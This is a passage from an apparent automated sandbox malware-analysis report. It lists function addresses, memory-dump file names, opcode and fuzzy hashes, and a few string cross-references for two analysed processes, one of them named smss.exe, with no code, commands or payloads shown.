Instruction ID: 2c62d39658b6719dda4f95d9380f3b994a6b9b1b6065ede383f669feaa287d4a
Opcode Fuzzy Hash: 01c8d70fc250ad73bdb98e871b71de4c88fe96625fb9d20936d2a42d5e3507a6
Instruction Fuzzy Hash: 92F0A470D5E64F8EEF94AB6498193FA77E4FF59344F14047AD45EC30C1EF2494188205

Function 00007FF848DAAF0B Relevance: .0, Instructions: 39COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000024.00000002.2444438873.00007FF848DA8000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848DA8000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_7ff848da8000_fuBYljHeUjtkgvlnN.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 31b4dc2596656b9050cb6b5fa3c7d1f33c13d20323a4512a8ca9624de353146b
Instruction ID: ce65898162d346063ec48ad04c93252bc6f8c96397df17b67e6437f982ff90ad
Opcode Fuzzy Hash: 31b4dc2596656b9050cb6b5fa3c7d1f33c13d20323a4512a8ca9624de353146b
Instruction Fuzzy Hash: D4F06270D5EA0E9FEB95FB3884496B97BE0EF09340F2509B2E41CC7055EF34A5988645

Function 00007FF848DB7C3E Relevance: .0, Instructions: 37COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000024.00000002.2444438873.00007FF848DB4000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848DB4000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_7ff848db4000_fuBYljHeUjtkgvlnN.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9a7c935a54ae57b6bcfa1120e852718437b6ff6b84e486d26b8eecdad68561ac
Instruction ID: 396d0adb181671fae19f553ad615cf29d23e3a4fdc09e6659d29209c4f5aa27b
Opcode Fuzzy Hash: 9a7c935a54ae57b6bcfa1120e852718437b6ff6b84e486d26b8eecdad68561ac
Instruction Fuzzy Hash: 76F01D31A4E21ACFEB28BE40D850BFD7365FF52350F10013ED406A32C1CF7968498A48

Function 00007FF848DA2769 Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000024.00000002.2444438873.00007FF848DA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848DA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_7ff848da0000_fuBYljHeUjtkgvlnN.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8ac22e76e06653ad778fe72bca14731dab2fa5edae6672a3ff20dd649a6b4b5e
Instruction ID: f4bbe3161fb493041785675ca7533cbaf4e1202717f0de79b7a0e52a53667c1a
Opcode Fuzzy Hash: 8ac22e76e06653ad778fe72bca14731dab2fa5edae6672a3ff20dd649a6b4b5e
Instruction Fuzzy Hash: DFF0C23190E7898FEB59AF3488552A93B60FF16340F1508BAD809C61D2DB389518C702

Function 00007FF848DB11D0 Relevance: .0, Instructions: 32COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000024.00000002.2444438873.00007FF848DB1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848DB1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_7ff848db1000_fuBYljHeUjtkgvlnN.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 50f14923cd64ea2db15a965bb3ac84d3b3a33b5eb4fafe8868f02d87f5905a9a
Instruction ID: 503f9c35f6af82feb0815b90b895ac7beacdb25be2a2fe8fc8a2e1262d52dc6c
Opcode Fuzzy Hash: 50f14923cd64ea2db15a965bb3ac84d3b3a33b5eb4fafe8868f02d87f5905a9a
Instruction Fuzzy Hash: F7F05830D59A0E8EEF84FF6888486FE77A0FF28341F40053AE82DC3194EB3065688644

Function 00007FF848DA27DD Relevance: .0, Instructions: 31COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000024.00000002.2444438873.00007FF848DA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848DA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_7ff848da0000_fuBYljHeUjtkgvlnN.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5ddd85c7d1ffb5a0ab3c44eee15507e47fd16bd26f23a6cf2d0d9380cbc155de
Instruction ID: 6703ae740386020982de2e8583fe3e02c9f36c3f089ccd2041717c2822eb016c
Opcode Fuzzy Hash: 5ddd85c7d1ffb5a0ab3c44eee15507e47fd16bd26f23a6cf2d0d9380cbc155de
Instruction Fuzzy Hash: 81F0FA3190FB8E8FEB58AF34881A2B93BA0FF05214F0005BAE809C61D2DB399418C201

Function 00007FF848DB7B07 Relevance: .0, Instructions: 29COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000024.00000002.2444438873.00007FF848DB4000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848DB4000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_7ff848db4000_fuBYljHeUjtkgvlnN.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 332a7815638e6d091d8240c4106a45f33cb22f0ee594e85c702d2ac3c4bed305
Instruction ID: b39f22554d3914898867bea426827d6bee97542a9d1f8b5624c9edf57a085159
Opcode Fuzzy Hash: 332a7815638e6d091d8240c4106a45f33cb22f0ee594e85c702d2ac3c4bed305
Instruction Fuzzy Hash: EDF01C35A4921ACFDB18FF80E890AFD7375FB91350F00123ED506E3281DB79A8598748

Function 00007FF848DB435B Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000024.00000002.2444438873.00007FF848DB4000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848DB4000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_7ff848db4000_fuBYljHeUjtkgvlnN.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 08bd00cd1a8f6b38d7d4652afb7f67b21ff5457c59349f7f7169429dea445ded
Instruction ID: c5e55109c281cc8c76eac2ac67b6f8d20b6dec1e7b0b0ed874ef5bc7b881f406
Opcode Fuzzy Hash: 08bd00cd1a8f6b38d7d4652afb7f67b21ff5457c59349f7f7169429dea445ded
Instruction Fuzzy Hash: 7EE0C230849A0C4FCB54FB5AD8443D877B4FB58304F400239D40DDB140D7395699C745

Function 00007FF848DB57AB Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000024.00000002.2444438873.00007FF848DB4000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848DB4000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_7ff848db4000_fuBYljHeUjtkgvlnN.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 400d4643cb34cd76201422d63a4f63ebefa50fd3e44d54418643c90bb16ab669
Instruction ID: f4f0d0506324a37bb52b6607765fa3f6d521c52144e334895e7faa747d031902
Opcode Fuzzy Hash: 400d4643cb34cd76201422d63a4f63ebefa50fd3e44d54418643c90bb16ab669
Instruction Fuzzy Hash: C4D0C961D5D61ADEE684EA2C54897A86BB0FF64740F900136D00CC3145DF24A5458716

Non-executed Functions

Function 00007FF848DAD321 Relevance: 7.6, Strings: 6, Instructions: 140COMMON

Download Yara Rule

Strings

H{, xrefs: 00007FF848DAD3BE
B{, xrefs: 00007FF848DAD399
`{, xrefs: 00007FF848DAD42D
X{, xrefs: 00007FF848DAD408
h{, xrefs: 00007FF848DAD452
P{, xrefs: 00007FF848DAD3E3

Memory Dump Source

Source File: 00000024.00000002.2444438873.00007FF848DA8000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848DA8000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_7ff848da8000_fuBYljHeUjtkgvlnN.jbxd

Similarity

API ID:
String ID: B{$H{$P{$X{$`{$h{
API String ID: 0-1553038716
Opcode ID: e3772b78c3ae61724e5a68abf8f1f81f5387adf444957ff5a1a69ffcf1594215
Instruction ID: 719633753fa89314ab5f7952085bf318f0b7ea3282b05a5d038ea6d13c2858b8
Opcode Fuzzy Hash: e3772b78c3ae61724e5a68abf8f1f81f5387adf444957ff5a1a69ffcf1594215
Instruction Fuzzy Hash: 86513970E1964A8FEB44EB98D4557FDBBB2FF58350F200139D009E7286CF7869488B55

Function 00007FF848DB13C4 Relevance: 6.4, Strings: 5, Instructions: 178COMMON

Download Yara Rule

Strings

], xrefs: 00007FF848DB13FB
%, xrefs: 00007FF848DB142E
+, xrefs: 00007FF848DB13B8
", xrefs: 00007FF848DB15C9
/, xrefs: 00007FF848DB1B47

Memory Dump Source

Source File: 00000024.00000002.2444438873.00007FF848DB1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848DB1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_7ff848db1000_fuBYljHeUjtkgvlnN.jbxd

Similarity

API ID:
String ID: "$%$+$/$]
API String ID: 0-2028497010
Opcode ID: f10b3b0f5aa50b6283cba73c38b9f17750722add3327026382ad81ccdf1f3264
Instruction ID: 506d85a8d62a4659f4374a627c123237bfaf6546d7f3572142fc7fca6f2268de
Opcode Fuzzy Hash: f10b3b0f5aa50b6283cba73c38b9f17750722add3327026382ad81ccdf1f3264
Instruction Fuzzy Hash: 8F81BF70D196298FEBA8EF14C8947EDB7B2BB59355F1045A9D00DA7281CB386A88CF04

Function 00007FF848DB1654 Relevance: 6.4, Strings: 5, Instructions: 109COMMON

Download Yara Rule

Strings

!, xrefs: 00007FF848DB1951
[, xrefs: 00007FF848DB1C27
%, xrefs: 00007FF848DB142E
{, xrefs: 00007FF848DB1944
/, xrefs: 00007FF848DB1B47

Memory Dump Source

Source File: 00000024.00000002.2444438873.00007FF848DB1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848DB1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_7ff848db1000_fuBYljHeUjtkgvlnN.jbxd

Similarity

API ID:
String ID: !$%$/$[${
API String ID: 0-890287878
Opcode ID: 5aaec0f50d973d9caaa45d4a65a36d5d4b585495dcbac70c2d39fd35da8fdee7
Instruction ID: 5cb8fd1e50b1ee8a033b4e69918ecfbe5e42b6697548246e33edabb64ade0005
Opcode Fuzzy Hash: 5aaec0f50d973d9caaa45d4a65a36d5d4b585495dcbac70c2d39fd35da8fdee7
Instruction Fuzzy Hash: 3151C470D0922A8FEFA4EF54C8947EDB6B5AF19344F1045B9D00DA7285DB386A88DF48

Function 00007FF848DB4000 Relevance: 5.2, Strings: 4, Instructions: 235COMMON

Download Yara Rule

Strings

{, xrefs: 00007FF848DB40FA
{, xrefs: 00007FF848DB4298
@, xrefs: 00007FF848DB40DD
@, xrefs: 00007FF848DB427B

Memory Dump Source

Source File: 00000024.00000002.2444438873.00007FF848DB4000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848DB4000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_7ff848db4000_fuBYljHeUjtkgvlnN.jbxd

Similarity

API ID:
String ID: @$@${${
API String ID: 0-1926933063
Opcode ID: 671c61a2005a7eeb81353059b2fc82bc8791c8ac10f2cc0bcc65735d9d1a3b21
Instruction ID: 142086cecadafc5832fd054d25c5012f735991e989dc66d9a80f974632ec45ac
Opcode Fuzzy Hash: 671c61a2005a7eeb81353059b2fc82bc8791c8ac10f2cc0bcc65735d9d1a3b21
Instruction Fuzzy Hash: 6891B570D1952D8EDBA4EB58C894BECB7F1FF68340F5041A9D10DE3281DB74AA848F45

Analysis Process: smss.exePID: 360, Parent PID: 7528COMMON

Executed Functions

Function 00007FF848D91309 Relevance: 3.8, Strings: 3, Instructions: 51COMMON

Download Yara Rule

Strings

/, xrefs: 00007FF848D91B47
), xrefs: 00007FF848D9133A
", xrefs: 00007FF848D91362

Memory Dump Source

Source File: 00000027.00000002.2504081957.00007FF848D91000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848D91000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_2_7ff848d91000_smss.jbxd

Similarity

API ID:
String ID: "$)$/
API String ID: 0-1070994048
Opcode ID: 09f46ab87b9620a64ce44bc6fcc9f70d25ab91447b343f5d1522f038e235826f
Instruction ID: d461e913fcc2e0f1379b6ae11c1087e0b53b4a480a300975594bb678b96cbb5e
Opcode Fuzzy Hash: 09f46ab87b9620a64ce44bc6fcc9f70d25ab91447b343f5d1522f038e235826f
Instruction Fuzzy Hash: 6B113A71D0862DCFDF68DF94D8987ACB3B2FB59345F00426AC00DAB280DB786948CB14

Function 00007FF848D92D9B Relevance: 1.4, Strings: 1, Instructions: 177COMMON

Download Yara Rule

Strings

to, xrefs: 00007FF848D92EB6

Memory Dump Source

Source File: 00000027.00000002.2504081957.00007FF848D91000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848D91000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_2_7ff848d91000_smss.jbxd

Similarity

API ID:
String ID: to
API String ID: 0-922801746
Opcode ID: 95dafb9b84d19841d16defc21e7859081ee1ceb6331cd3c507c0ad928b08bacf
Instruction ID: be3e0235762f769fb9796603514d87d173f7d8df2b7bb9ff6ba6119f80e6b837
Opcode Fuzzy Hash: 95dafb9b84d19841d16defc21e7859081ee1ceb6331cd3c507c0ad928b08bacf
Instruction Fuzzy Hash: 7F61A470D1991D8EEB94EF68C855BACB7B1FF58340F5041BAD01DE3292DF3469898B44

Function 00007FF848D831F5 Relevance: .2, Instructions: 179COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000027.00000002.2504081957.00007FF848D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848D80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_2_7ff848d80000_smss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 358c57f648bb5731f76007b159350743af2a3e53d392b0244e2639cd1ba8a2df
Instruction ID: a85a4bb64a3c72ceef2fd48c3591adb80eac3b2c269e0e5abf5e740c1de25fc0
Opcode Fuzzy Hash: 358c57f648bb5731f76007b159350743af2a3e53d392b0244e2639cd1ba8a2df
Instruction Fuzzy Hash: 14610470D096198EEB58EFA8C4987EDBBF1FF58340F50517AD019E7292DB38A948CB14

Function 00007FF848D9563D Relevance: .2, Instructions: 154COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000027.00000002.2504081957.00007FF848D94000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848D94000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_2_7ff848d94000_smss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 13f8a324113c4eb5b8eb384230f16b51361dee7a4240abc05ada25b0371f1ad4
Instruction ID: 00508ae71077b1e487ba85bf520f77600b1aa513e3c7b38c83daa554a34b19da
Opcode Fuzzy Hash: 13f8a324113c4eb5b8eb384230f16b51361dee7a4240abc05ada25b0371f1ad4
Instruction Fuzzy Hash: 11513A70D19A4D8FEB94EB68D859BADBBF1FF28340F10017AD00DE7296DB3568858B44

Function 00007FF848D80F36 Relevance: .1, Instructions: 87COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000027.00000002.2504081957.00007FF848D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848D80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_2_7ff848d80000_smss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 74e8c24f253984aec69ba40518cf0a1b7d1b38bd413c1f00f316725930425a79
Instruction ID: fb8dc0cf32240d43a7ea1b144a781c9e8c785d596c49cc04217d8e969eb84c7b
Opcode Fuzzy Hash: 74e8c24f253984aec69ba40518cf0a1b7d1b38bd413c1f00f316725930425a79
Instruction Fuzzy Hash: C2314F30D095198EEB64FB68C8447ECB3A1FF54340F5082B9D01DE7296CF386D498B64

Function 00007FF848D8341C Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000027.00000002.2504081957.00007FF848D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848D80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_2_7ff848d80000_smss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 68d207371711148581cc6f5383038c3be0599f77ae0d6d67da45dc3bd08b6142
Instruction ID: 3b5cc0074799cb25b700c6dc93db88c8334c9449292fc055e1718779ed848aae
Opcode Fuzzy Hash: 68d207371711148581cc6f5383038c3be0599f77ae0d6d67da45dc3bd08b6142
Instruction Fuzzy Hash: 5C21B13084D78A9FD796EBB888186A97FF0FF4A350F0905FAD059C70A2DB389589C711

Function 00007FF848D97165 Relevance: .1, Instructions: 69COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000027.00000002.2504081957.00007FF848D94000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848D94000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_2_7ff848d94000_smss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f3632154d3e884a2077cec5ad62f083c24dd6264bfbeb6ff9eb77030985b67b3
Instruction ID: 88293ad21e3606555edb17da5f37a2f966699481c2a8343655f49df4c2ca3034
Opcode Fuzzy Hash: f3632154d3e884a2077cec5ad62f083c24dd6264bfbeb6ff9eb77030985b67b3
Instruction Fuzzy Hash: BA219070D0DA4E9FEB99EF6884593B97BA0FF28345F1401BED409D3192DB39A148C741

Function 00007FF848D928A1 Relevance: .1, Instructions: 68COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000027.00000002.2504081957.00007FF848D91000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848D91000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_2_7ff848d91000_smss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 126ef7318026b5b50bc9c69dbf342b0a4145cf576b5e36e4ad42cba73f00a208
Instruction ID: da154abc27d1c136b6d1147d36a3d3c2999aff3e263ebba2510a8bd2f54ffa28
Opcode Fuzzy Hash: 126ef7318026b5b50bc9c69dbf342b0a4145cf576b5e36e4ad42cba73f00a208
Instruction Fuzzy Hash: 2F116A7095964D9FDB48EF24C8952F93BE1FF59354F1101BEE81AC3281DB34A544CB85

Function 00007FF848D80A01 Relevance: .1, Instructions: 68COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000027.00000002.2504081957.00007FF848D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848D80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_2_7ff848d80000_smss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1a23b15931961d70613f61a2aaf8c907571a2bcd625d345dd5486d6c6a4e0854
Instruction ID: c839791fb40fa304d79fe12e93b5a406044cc4162a4ece54a76d809d2c124152
Opcode Fuzzy Hash: 1a23b15931961d70613f61a2aaf8c907571a2bcd625d345dd5486d6c6a4e0854
Instruction Fuzzy Hash: B3119E31D0E94E9FE790FB6988496BD7BE0FF58780F4005B6D429C7096EF38A9488764

Function 00007FF848D94A95 Relevance: .1, Instructions: 67COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000027.00000002.2504081957.00007FF848D94000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848D94000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_2_7ff848d94000_smss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d78a6b3eb3f203953c8fe74a86b9ae8e7acb6f8de9679e209748cfb3b0f1c37b
Instruction ID: 42336b30c8cd9701491d8e4176963b9e90606187e548feccd029a3ca74ac5eda
Opcode Fuzzy Hash: d78a6b3eb3f203953c8fe74a86b9ae8e7acb6f8de9679e209748cfb3b0f1c37b
Instruction Fuzzy Hash: 3A11AC30D0EA4E9FEB88EF2884593BA7BA1FF68359F0005BAD409C3596CB35A448C744

Function 00007FF848D9729D Relevance: .1, Instructions: 64COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000027.00000002.2504081957.00007FF848D94000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848D94000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_2_7ff848d94000_smss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 402427d523753afabe2c8cb81aed9be3a3c4202fcdc7a818e4c1b55cb37a4d65
Instruction ID: 56f860c7525dde3c99ab777cb17998a117f8d1ba7f1c90240bf8c0fd473b544d
Opcode Fuzzy Hash: 402427d523753afabe2c8cb81aed9be3a3c4202fcdc7a818e4c1b55cb37a4d65
Instruction Fuzzy Hash: D511E13084D50E8FEB58EF2484563FD7BA0FF69344F0041BAE40EC3081DB3564488744

Function 00007FF848D953A9 Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000027.00000002.2504081957.00007FF848D94000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848D94000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_2_7ff848d94000_smss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f0282e12208568a66451d3477c145449433e04ee1391428f99b2cf4894942756
Instruction ID: 12269cee8f3c234e8829ab36a8af71435604cf965423d7203b8140104d44663c
Opcode Fuzzy Hash: f0282e12208568a66451d3477c145449433e04ee1391428f99b2cf4894942756
Instruction Fuzzy Hash: 22118B70D1EA8A8FEB89EB2488592BD7FB0FF29344F0405BAD41AC7192DB756448C711

Function 00007FF848D95155 Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000027.00000002.2504081957.00007FF848D94000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848D94000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_2_7ff848d94000_smss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7ccba1f48814a80b7709a017a10f753d97343b83235e94fbc825c38e24b44d53
Instruction ID: 416bd524b24d6d7ba5119872a0044f6763302520e51d0e3c4289112de191378e
Opcode Fuzzy Hash: 7ccba1f48814a80b7709a017a10f753d97343b83235e94fbc825c38e24b44d53
Instruction Fuzzy Hash: 96118C70D4EA4A8FEB99EB24C8593BE7BB0FF19344F0405BED409D7196EB35A4848701

Function 00007FF848D8126D Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000027.00000002.2504081957.00007FF848D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848D80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_2_7ff848d80000_smss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ac5f7d16a69575a59d3f87c4594f9227f35844452d72dea8b77471deb513dbbd
Instruction ID: 754401a657ad275e0a40d7af277fb6f0346eb92fdcaf9b7f4acd7ff0288db3dc
Opcode Fuzzy Hash: ac5f7d16a69575a59d3f87c4594f9227f35844452d72dea8b77471deb513dbbd
Instruction Fuzzy Hash: E2115E70D4E94A9EEF99AB68845A7BA7BE0FF59340F4405BAD42AC70D2EB24644C8704

Function 00007FF848D97861 Relevance: .1, Instructions: 58COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000027.00000002.2504081957.00007FF848D94000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848D94000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_2_7ff848d94000_smss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b507087b249bbf301f78bde249d679f01277d244d8e10ce1eba9ef39a670fbbf
Instruction ID: c74ed7ce876eff6f0e471f044bc1ed63295ae7ffa8852950e8ab36c1739895ed
Opcode Fuzzy Hash: b507087b249bbf301f78bde249d679f01277d244d8e10ce1eba9ef39a670fbbf
Instruction Fuzzy Hash: 18118B30D4E54A9FEB41FF788888BAA7BE0FF19354F0505B6D019C70A1DB38A188C765

Function 00007FF848D9531D Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000027.00000002.2504081957.00007FF848D94000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848D94000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_2_7ff848d94000_smss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0e0d02192f189508c5270e3cb9e7d0efbdc471985395c00e80cf2521297bf562
Instruction ID: 309b65923acb9887cce198b0fad6c2a4e6366695ae9751ef62e240c2a9b033f6
Opcode Fuzzy Hash: 0e0d02192f189508c5270e3cb9e7d0efbdc471985395c00e80cf2521297bf562
Instruction Fuzzy Hash: 8B118C3090EA8A9FEB88EB6484596BD7BB0FF18344F0405BED40DC3192DB74A544C701

Function 00007FF848D83545 Relevance: .1, Instructions: 52COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000027.00000002.2504081957.00007FF848D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848D80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_2_7ff848d80000_smss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 63463359460af1f415fd080f61b8f8d22b8426895f8fd73dc83c44f8edd7d429
Instruction ID: 8b87a15934260398c68bb4bd3dad32869bb48bd191291f5712310e722a43b332
Opcode Fuzzy Hash: 63463359460af1f415fd080f61b8f8d22b8426895f8fd73dc83c44f8edd7d429
Instruction Fuzzy Hash: DB11397090AA8E8FEB98EB6884592BE7BA0FF18340F4015BED42AD7192DB35A5448704

Function 00007FF848D82E71 Relevance: .1, Instructions: 52COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000027.00000002.2504081957.00007FF848D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848D80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_2_7ff848d80000_smss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8c155822363c2fb66d3c6d7f021eb3da2460ad778ed10189256b22b030be43de
Instruction ID: 0bf2e380fa4885fe1cc19507a9529e567fc52177a76a92e2c7941356f6326305
Opcode Fuzzy Hash: 8c155822363c2fb66d3c6d7f021eb3da2460ad778ed10189256b22b030be43de
Instruction Fuzzy Hash: FC017130D5E64E8FE792BF2488486B97BE0EF59340F4505B6D42CC7492EB38E5888718

Function 00007FF848D92731 Relevance: .1, Instructions: 51COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000027.00000002.2504081957.00007FF848D91000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848D91000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_2_7ff848d91000_smss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 07a17d302215e3435c211054090f5f9458537ddadd30ed84d5daa4b400df40f3
Instruction ID: ffb78777f5946de52f148c09bfaf77816689684ea9fff82a969640942e983dab
Opcode Fuzzy Hash: 07a17d302215e3435c211054090f5f9458537ddadd30ed84d5daa4b400df40f3
Instruction Fuzzy Hash: CF01DB3089AA4A8FDB49AF20C4586BA7BA0FF19344F1108BAE41AC7092DB35A588C700

Function 00007FF848D8284D Relevance: .0, Instructions: 46COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000027.00000002.2504081957.00007FF848D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848D80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_2_7ff848d80000_smss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 491ef32a8666387552d2108c6bdd66e194c7b89c919feaced6d927dd574575cc
Instruction ID: 3d8c33293d4b23a630492575a3d9985bc56ab3e3f1d2b1a365222cfc0f360365
Opcode Fuzzy Hash: 491ef32a8666387552d2108c6bdd66e194c7b89c919feaced6d927dd574575cc
Instruction Fuzzy Hash: 0B017830C1EA4E9FEBA5BF2484886B97BF0EF59350F4545B6D428C7092EF38A5888715

Function 00007FF848D82EE9 Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000027.00000002.2504081957.00007FF848D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848D80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_2_7ff848d80000_smss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 52338e3e0532537d890dd156eb3d35ad6b3e23bd04fefa238de3ef459225b6a2
Instruction ID: 0e817b04be5851ba2c93256559eaf220e64571531c6e260e97460e9d51534e39
Opcode Fuzzy Hash: 52338e3e0532537d890dd156eb3d35ad6b3e23bd04fefa238de3ef459225b6a2
Instruction Fuzzy Hash: 23018F3085E6899FE742FB3488596A97BE0EF0A340F4505F7D418CB0A6EF28A448C715

Function 00007FF848D979E9 Relevance: .0, Instructions: 43COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000027.00000002.2504081957.00007FF848D94000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848D94000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_2_7ff848d94000_smss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a92cd50aea65cb25f59ebdfd9e9fcb9b896e20348ba6073c629ecc0ce6ca24be
Instruction ID: 700efa186c74c081f5a9d7d120c4f15f2d34da3002d4ec52e67351f81451c5cb
Opcode Fuzzy Hash: a92cd50aea65cb25f59ebdfd9e9fcb9b896e20348ba6073c629ecc0ce6ca24be
Instruction Fuzzy Hash: EF01F23094E6895FE742FF3888592A97BE0EF1A390F0509F3D00CC70A2EB38A548C315

Function 00007FF848D80608 Relevance: .0, Instructions: 42COMMON

Download Yara Rule

